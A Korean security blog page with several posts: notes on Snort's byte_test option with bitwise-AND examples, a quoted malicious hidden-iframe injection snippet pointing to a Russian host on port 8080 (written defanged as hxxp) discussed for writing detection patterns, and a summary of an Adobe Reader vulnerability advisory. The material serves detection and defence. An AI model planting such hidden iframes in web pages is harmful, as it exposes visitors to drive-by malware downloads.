SNORT2009. 10. 9. 16:16
공부하고 있는 것이다보니 틀린 부분이 분명히 있을것입니다.. 그리고 영어 이해력이 떨어져서 옵션의 설명이 틀릴 수 있습니다. 틀린 부분에 대한 지적 부탁 드리겠습니다.

byte_test는 특정 필드 값을 연산자를 이용해서 매칭 하는 기능(?)

사용방법
 byte_test: <bytes to convert>, [!]<operator>, <value>, <offset>[,relative] [,<endian>] [,<number type>, string];

byte to convert : 패킷으로 부터 끄집어 낼 byte 수
operator : <,>,=,!,&,^
value : 변환된 값과 비교할 값
offset : payload에서 프로세싱 시작할 byte 수
relative : 마지막으로 패턴 매칭된 offset에서 시작
endian : [byte to convert] 의 값을 big endian 또는 little endian 형태로 처리하는 옵션
            big-big endian으로 테이터 처리(default)
            little-little endian으로 데이터 처리
string :  패킷에서 데이터는 string 형태로 저장된다.(?)
number type : type of number being read
                    hex-변환된 string 데이터는 16진수로 표현된다.
                    dec-변환된 string 데이터는 10진수로 표현된다.
                    oct-변환된 string 데이터는 8진수로 표현된다

위에서 연산자 & 에 대해서 알아보자.
예는 https://forums.snort.org/forums/rules/topics/byte_test-and-the-operator-2 에서 언급된 것으로 해보자.

payload의 첫 16 byte 가 아래와 같다고 하자.
65 98 85 83 00 01 00 00 00 01 00 00 08 63 70 64

byte_test:1,&,2,3

10000101= '85’
00000010 = '2'
.........^ Not set
위 값들을 and 연산하면 아래와 같다.
00000000 ='0' 이기때문에 거짓

byte_test:1,&,1,3 
10000101 = ‘85’
00000001 ='1'
...........^ Set and Match!
00000001 ='1' 이기때문에 참

byte_test:1,&,128,2 
10011000 = ‘98’
10000000 = '128'
^ Not set
00000000 = '0' 이기때문에 거짓

snort에서는 참이면 탐지하는 것이다.

참고 했던 사이트에서 Joel_Esler 라는 사람이 답변한 내용에서 Bit Sequence 부분은 이해가 가지 않는다.

& is a bitwise “and”. So, for the first byte_test, it moves three bytes into a packet, takes one
byte, and checks to see if it is a 2. (So the 7th bit in the Bit Sequence is set), the second one
indicates that the 8th bit in the Bit Sequence is set, and the 3rd one indicates that the first bit in
the Bit Sequence is set.

'SNORT' 카테고리의 다른 글

SNORT+BASE 설치 메뉴얼 (DEBIAN/UBUNTU)  (0) 2011.09.19
정규 표현식 기호-2  (0) 2010.03.02
정규 표현식 기호-1  (0) 2010.03.02
국내 Snort Rule 공유 블로그  (1) 2009.09.15
Posted by regexkorea

<body bgcolor="#000000"><div style="display:none">ifkujtsasiumelcsgzbuzprmotxoetb<iframe width=933 height=353 src="hxxp://beage.ru:8080/index.php" ></iframe></div>

역시 이지스(bscry)가 제공해준 코드 입니다.

젠장 순서 바뀌는 것도 생각해봐야하고 갈수록 교묘해지네요..
style="display:none" 사용하는 방법도 있네요..

아래 포스팅된걸로는 탐지되지 않습니다.. 한 패턴으로 여러개를 잡는게 좋긴한데..너무 복잡해지네요..
복잡할수록 오탐의 가능성은 커지는데..

Posted by regexkorea
보안 이야기2009. 10. 9. 08:33

Adobe Reader and Acrobat 9.1.3 이전 버전에 대해서 Critical한 취약성이 있다고 한다.
영향 받는 OS로는 Windows, Macintosh and UNIX가 있으며 Windows의 경우에는 전부 영향이 있는게 아니라고 한다.

기존의 Adobe Reader and Acrobat 은 JavaScript를 이용한 공격이었기때문에 javascript 기능을 disable 하면 방어가 가능했다.

그러나 이번 취약성은 JavaScript기능을 disable해도 공격이 성공한다는데 문제 점이 있다.

 

아래의 사이트에서 짧은 영어 실력으로 요약(?) 해보았다.

 

Sans : http://isc.sans.org/diary.html?storyid=7300

Adobe : http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html

 

참고로 어제 iframe 삽입 공격에 대한 글을 올렸어쓴데, 그 경로를 클릭하면 Acrobat이 실행되던데...

위 취약점인지 궁금하네.. 아직 exploit이 없어 보이는데.. milw0rm이 접속이 안되는 관계로..확인이 안되네..^^

Posted by regexkorea